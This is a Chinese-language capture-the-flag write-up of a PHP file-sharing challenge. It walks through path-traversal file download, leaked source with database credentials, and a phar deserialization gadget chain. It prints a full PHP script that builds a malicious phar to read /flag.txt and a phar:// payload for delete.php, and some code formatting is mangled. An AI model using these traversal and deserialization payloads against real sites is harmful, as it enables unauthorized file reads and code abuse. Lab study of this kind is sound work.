牛魔的这道题没给我做死了差点

进入题目就是一个登录界面,这里用SQL注入是不行的,我们正常的注册登录之后就进来了一个传文件的地方,我们一路上看URL处和抓包的情况来看,有以下几个目录:

login.php index.php download.php regist.php login.php

我们尝试了之后发现只有图片能够上传,然后试了其他方法也没什么用

但是我们点下载之后会看见这里有个filename,就联想到如果这里的filename是可控的,那么我是不是可以通过控制这个参数来实现对其他东西的下载呢

image-20260302144616120

试了一下发现我们想要下载的东西都不在当前目录,我们必须要上两层目录才可以下载也就是../../index.php

index.php:

<?php

session_start();

if (!isset($_SESSION[‘login’])) {

header(“Location: login.php”);

die();

}

?>

网盘管理
<script src="static/js/jquery.min.js"></script>

<script src="static/js/bootstrap.bundle.min.js"></script>

<script src="static/js/toast.js"></script>

<script src="static/js/panel.js"></script>

<input type=”file” id=”fileInput” **class**=”hidden”>

<?php

include “class.php”;

$a = new FileList($_SESSION[‘sandbox’]);

$a->Name();

$a->Size();

?>

Class.php

<?php

error_reporting(0);

$dbaddr = “127.0.0.1”;

$dbuser = “root”;

$dbpass = “root”;

$dbname = “dropbox”;

$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {

public $db;

public function __construct() {

​ global $db;

​ $this->db = $db;

}

public function user_exist($username) {

​ $stmt = $this->db->prepare(“SELECT username FROM users WHERE username = ? LIMIT 1;”);

​ $stmt->bind_param(“s”, $username);

​ $stmt->execute();

​ $stmt->store_result();

​ $count = $stmt->num_rows;

​ if ($count === 0) {

​ return false;

​ }

​ return true;

}

public function add_user($username, $password) {

​ if ($this->user_exist($username)) {

​ return false;

​ }

​ $password = sha1($password . “SiAchGHmFx”);

​ $stmt = $this->db->prepare(“INSERT INTO users (id, username, password) VALUES (NULL, ?, ?);”);

​ $stmt->bind_param(“ss”, $username, $password);

​ $stmt->execute();

​ return true;

}

public function verify_user($username, $password) {

​ if (!$this->user_exist($username)) {

​ return false;

​ }

​ $password = sha1($password . “SiAchGHmFx”);

​ $stmt = $this->db->prepare(“SELECT password FROM users WHERE username = ?;”);

​ $stmt->bind_param(“s”, $username);

​ $stmt->execute();

​ $stmt->bind_result($expect);

​ $stmt->fetch();

​ if (isset($expect) && $expect === $password) {

​ return true;

​ }

​ return false;

}

public function __destruct() {

​ $this->db->close();

}

}

class FileList {

private $files;

private $results;

private $funcs;

public function __construct($path) {

​ $this->files = array();

​ $this->results = array();

​ $this->funcs = array();

​ $filenames = scandir($path);

​ $key = array_search(“.”, $filenames);

​ unset($filenames[$key]);

​ $key = array_search(“..”, $filenames);

​ unset($filenames[$key]);

​ foreach ($filenames as $filename) {

​ $file = new File();

​ $file->open($path . $filename);

​ array_push($this->files, $file);

​ $this->results[$file->name()] = array();

​ }

}

public function __call($func, $args) {

​ array_push($this->funcs, $func);

​ foreach ($this->files as $file) {

​ $this->results[$file->name()][$func] = $file->$func();

​ }

}

public function __destruct() {

​ $table = ‘

‘;

​ $table .= ‘

‘;

​ foreach ($this->funcs as $func) {

​ $table .= ‘

‘;

​ }

​ $table .= ‘

‘;

​ $table .= ‘

‘;

​ foreach ($this->results as $filename => $result) {

​ $table .= ‘

‘;

​ foreach ($result as $func => $value) {

​ $table .= ‘

‘;

​ }

​ $table .= ‘

‘;

​ $table .= ‘

‘;

​ }

​ echo $table;

}

}

class File {

public $filename;

public function open($filename) {

​ $this->filename = $filename;

​ if (file_exists($filename) && !is_dir($filename)) {

​ return true;

​ } else {

​ return false;

​ }

}

public function name() {

​ return basename($this->filename);

}

public function size() {

​ $size = filesize($this->filename);

​ $units = array(‘ B’, ‘ KB’, ‘ MB’, ‘ GB’, ‘ TB’);

​ for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;

​ return round($size, 2).$units[$i];

}

public function detele() {

​ unlink($this->filename);

}

public function close() {

​ return file_get_contents($this->filename);

}

}

?>

image-20260302182243506

这样太烂了我还是在网上的wp上截取一下

index.php:

这里还引用了一个class.php

我们再下载一个class.php

image-20260302184507222

这个就是class.php就是最核心的一个代码

首先我们很明显能够看见这里的=File类里面有一个close方法,而close方法里面有一个非常重要的file_get_contents()函数,这个就是典型的会受到phar反序列化影响的函数,也就是说这里我们可以作为一个切入点

在User和FileLIst类都有destrcut,但是Filelist类里面有非常多的前段元素,也就是说这里应该作用不是用于给我们解题的,而User的des方法

image-20260302190103978

刚好db可控,还会调用close方法,那么这里应该就是要用user的destruct方法了但是问题又来了

close方法只有return,也就是说没回显,这里就难了,直接两个连一起肯定是不行的,这里就要用到Filelist里面的了

image-20260302190501589

上面我们说了,des方法应该有自己的作用,我们这里就不考虑了,然后我们看这两个方法

constrcut方法

![截屏2026-03-02 19.29.35](/Users/yuanbaoyin/Desktop/截屏2026-03-02 19.29.35.png)

这里更重要的是call方法了

这里会把调用的不存在的函数

第 1 行:array_push($this->funcs, $func);

  • $func = “close”(你调用的不存在的方法名);

  • 作用:把 “close” 这个方法名存入$funcs数组

  • 第 2 行:foreach ($this->files as $file) {
    • $this->files = [我们构造的 File 对象(filename=/flag)];
    • 作用:遍历 $files 里的每一个 File 对象
    第 3 行:$this->results[$file->name()][$func] = $file->$func();

    拆成 3 个小步骤看:

    1. $file->name():调用 File::name (),返回文件名(/flag 的 basename 是 “flag”);
    2. $file->$func():是,所以等价于file->close ()`—— 调用 File::close (),读取 /flag 的内容;
    3. 赋值:把 “flag” 作为 key1,“close” 作为 key2,把 /flag 的内容作为值,存入$results数组;

我们已经构造好:

  • $filelist->files = [new File (“flag”)](File 对象的 filename=/flag);
  • 调用 $filelist->close ()(触发__call)。

执行步骤:

  1. 触发__call,,args=[](没传参数);

  2. 执行第 1 行:$funcs 数组变成 [“close”];

  3. 执行第 2 行:遍历 $files 里的 File 对象(只有 1 个,对应 /flag);

  4. 执行第 3 行:

    • $file->name () → 返回 “flag”;
    • $file->close () → 读取 /flag 的内容(比如 “flag {123456}”);
    • $results[“flag”][“close”] = “flag{123456}”;
  5. __call 执行完毕,$results 数组里已经存了 /flag 的内容。

可能还是会疑问,为什么这里必须要用call来呢,原因就在于这里是可以回显的

很明显的一个点就在于这里是有echo的

public function __destruct() {

$table = ‘’; // 遍历$results里的flag内容,拼接到HTML里

foreach ($this->results as $filename => $result) {

foreach ($result as $func => $value) {

​ $table .= ‘

‘; // 把flag内容拼进去

} }

echo $table; // 关键!把拼好的内容直接输出到页面 }

这里会将result数组的值一个一个遍历输入给value然后给table最后echo出来

构造:

‘ . htmlentities($func) . ‘ Opt
‘ . htmlentities($value) . ‘ 下载 / 删除
‘ . $value . ‘
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class User{
public $db;
}
class FileList{
private $files;
private $results;
private $funcs;
public function __construct() {
$this->files = array(new File());
#由于file参数是从files。foreach读取的。而foreach要求是个数组。所以这边要用数组
$this->results = array();
$this->funcs = array();
}
}
class File{
public $filename;
public function __construct(){
$this->filename='/flag.txt';
}
}
$a=new User();
$a->db=new FileList();
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

我们上面说到了会有foreach,所以这里的files就必须还是数组,而里面必须是new File,这是因为:

image-20260302214103746

看似是$file调用name,但是$file的值是$files遍历后传的,也就是这里要求files有name()所以要这么干

而后就是运行了,在运行之前必须把phar.readonly给改成off,默认关闭的

我这里是拿的kali做的,我觉得自己还是搞复杂了,后面在优化吧:

kali自带php环境,输入php –ini

Loaded这个就是

image-20260302214537543

然后用nano改

image-20260302214700569

control+w搜索,control加o保存,control加x退出

改了在创一个去跑我们的脚本:

image-20260302214857458

然后告诉我失败了,只能用个临时的方法了:

image-20260302214941649

ls -l之后是这样就OK了

然后脚本写好了,我就直接在下载的时候抓包然后给filename改了,其实不行,看了网上的wp

我们的dowload.php会卡目录

. ini_set() 函数

  • 作用:PHP 内置函数,用于动态修改 php.ini 配置文件中的配置项(只对当前脚本生效,脚本执行完就失效,不会改物理的 php.ini 文件)。
  • 参数格式:ini_set(配置项名称, 配置值)。
  • 对比:如果直接改 php.ini 里的open_basedir,会对所有 PHP 脚本生效;用ini_set()只影响当前脚本,灵活性更高。
  1. "open_basedir"(配置项名称)
  • 中文含义:“基于目录的开放限制”,是 PHP 的核心安全配置项。
  • 作用:限制 PHP 脚本的文件操作(比如fopen()、file_get_contents()、unlink()等)只能在指定的目录及其子目录下进行。
  • 安全意义:防止恶意脚本访问 / 篡改服务器上的敏感文件(比如/etc/passwd、其他网站的源码文件等),是 PHP 防护的重要手段。
  1. getcwd() . ":/etc:/tmp"(配置值)

这是open_basedir的具体限制规则,拆解:

(1) getcwd() 函数

  • 全称:get current working directory(获取当前工作目录)。
  • 作用:返回 PHP 脚本当前执行的目录路径(比如脚本放在/var/www/html,就返回这个路径)。
  • 示例:如果脚本在/home/user/project下运行,getcwd()就返回/home/user/project。

(2) 分隔符 :(Linux/Mac)/ ;(Windows)

  • open_basedir 支持指定多个目录,不同系统用不同分隔符:

    • Linux/Mac/Unix:用冒号: 分隔多个目录;
    • Windows:用分号; 分隔(比如getcwd() . ";C:\Windows\Temp")。

(3) :/etc:/tmp

  • 拼接后整体含义:允许 PHP 脚本访问的目录包括:

    1. getcwd() 返回的当前脚本目录;
    2. /etc 目录(Linux 系统的系统配置目录);
    3. /tmp 目录(Linux 系统的临时文件目录)。

实际效果示例

假设你的脚本运行目录是/var/www/html,这行代码执行后:

✅ 允许的操作:

  • 读取/var/www/html/test.txt(当前目录);

  • 读取/etc/nginx/nginx.conf(/etc 目录下的文件);

  • 写入/tmp/temp_file.txt(/tmp 目录下的文件)。

  • ❌ 禁止的操作:

  • 读取/root/password.txt(不在指定目录);

  • 写入/var/www/other_site/config.php(不在指定目录);

  • 操作这些目录外的文件时,PHP 会抛出Warning: file_exists(): open_basedir restriction in effect警告,且操作失败。

image-20260302215727250

delete.php没有限制,还有unlink

.因此我们只需要上传我们生成的phar.jpg文件,并在delete时抓包,将filename参数改为phar://phar.jpg/test.txt即可.

这里把文件从kali里面弄出来也卡了,第一次不熟,先进入phar.phar的目录

然后:ip a

image-20260302220326608

得到地址后有内置的python跑:

!image-20260302220400887

然后直接浏览器访问对应ip/文件下载就可以了

最后control+c退出

这里对php版本还有要求,所以这里我flag出不来,总之就是这么个东西